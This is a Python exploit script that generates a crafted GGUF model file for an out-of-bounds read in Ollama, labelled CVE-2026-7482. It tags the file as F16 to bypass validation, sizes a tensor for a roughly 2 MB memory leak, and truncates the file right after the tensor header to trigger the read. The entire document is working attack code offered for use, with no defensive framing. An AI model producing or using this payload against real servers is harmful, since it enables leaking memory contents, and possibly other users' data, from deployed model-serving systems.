#!/usr/bin/env python3
"""
CVE-2026-7482: Ollama GGUF Out-of-Bounds Read Payload Generator
"""
import os
import numpy as np

try:
    import gguf
except ImportError:
    print("[-] Please install the required library: pip install gguf numpy")
    exit(1)

FILENAME = "malicious.gguf"
TARGET_LEAK_SIZE_MB = 2.0

def build_payload():
    print("[*] Starting generation of malicious GGUF payload...")

    writer = gguf.GGUFWriter(FILENAME, "llama")
    writer.add_architecture()
    writer.add_string("general.name", "malicious_model")
    
    # Bypass Go API validation by tagging the model as F16
    writer.add_file_type(1)

    # Calculate dimensions for the OOB read.
    # Q4_K_M down-quantization requires the inner dimension to be exactly 256.
    # 256 elements * 2 bytes (float16) = 512 bytes per row.
    bytes_per_row = 512
    total_bytes = int(TARGET_LEAK_SIZE_MB * 1024 * 1024)
    num_rows = total_bytes // bytes_per_row
    
    tensor_shape = [num_rows, 256]
    tensor_name = "token_embd.weight"

    print(f"[*] Target Leak Size: {TARGET_LEAK_SIZE_MB} MB")
    print(f"[*] Injecting perfectly aligned 2D target tensor: {tensor_name}")
    print(f"[*] Shape: {tensor_shape} (Inner dim aligned for Q4_K_M)")

    # Data must be float16 to match the F16 file_type bypass
    dummy_data = np.zeros(tensor_shape, dtype=np.float16)
    writer.add_tensor(tensor_name, dummy_data)

    print("[*] Writing structure to disk...")
    writer.write_header_to_file()
    writer.write_kv_data_to_file()
    writer.write_tensors_to_file()
    writer.close()

    # Read the file back to locate the exact offset of our target tensor
    reader = gguf.GGUFReader(FILENAME)
    target_tensor = next((t for t in reader.tensors if t.name == tensor_name), None)

    if not target_tensor:
        print("[-] Failed to locate tensor in generated file.")
        exit(1)

    data_offset = target_tensor.data_offset
    print(f"[*] Tensor physical data alignment offset located at: {data_offset} bytes")

    # Truncation Attack: Keep the header + 32 bytes of physical data
    truncated_size = data_offset + 32
    original_size = os.path.getsize(FILENAME)

    print(f"[*] Slicing file from {original_size} bytes down to {truncated_size} bytes")

    with open(FILENAME, 'r+b') as f:
        f.truncate(truncated_size)

    print("[+] Malicious GGUF crafted successfully!")

if __name__ == "__main__":
    build_payload()